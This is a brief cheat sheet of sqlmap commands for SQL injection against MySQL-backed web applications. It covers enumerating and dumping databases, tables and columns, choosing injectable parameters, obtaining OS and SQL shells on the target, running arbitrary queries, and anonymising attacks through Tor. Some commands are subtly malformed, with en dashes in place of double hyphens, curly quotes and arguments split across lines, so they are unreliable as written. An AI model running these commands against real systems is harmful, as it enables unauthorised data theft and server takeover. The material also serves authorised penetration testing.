SQLMap Cheat Sheet

```
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" –tables

# Enumerate columns
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T “$TABLE” –columns --dump

# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# Specify parameter to exploit
sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p
param2

# Specify parameter to exploit in 'nice' URIs
sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs #
exploits param1

# Get OS shell
sqlmap --dbms=mysql -u "$URL" --os-shell

# Get SQL shell
sqlmap --dbms=mysql -u "$URL" --sql-shell

# SQL query
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

# Use Tor Socks5 proxy
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
```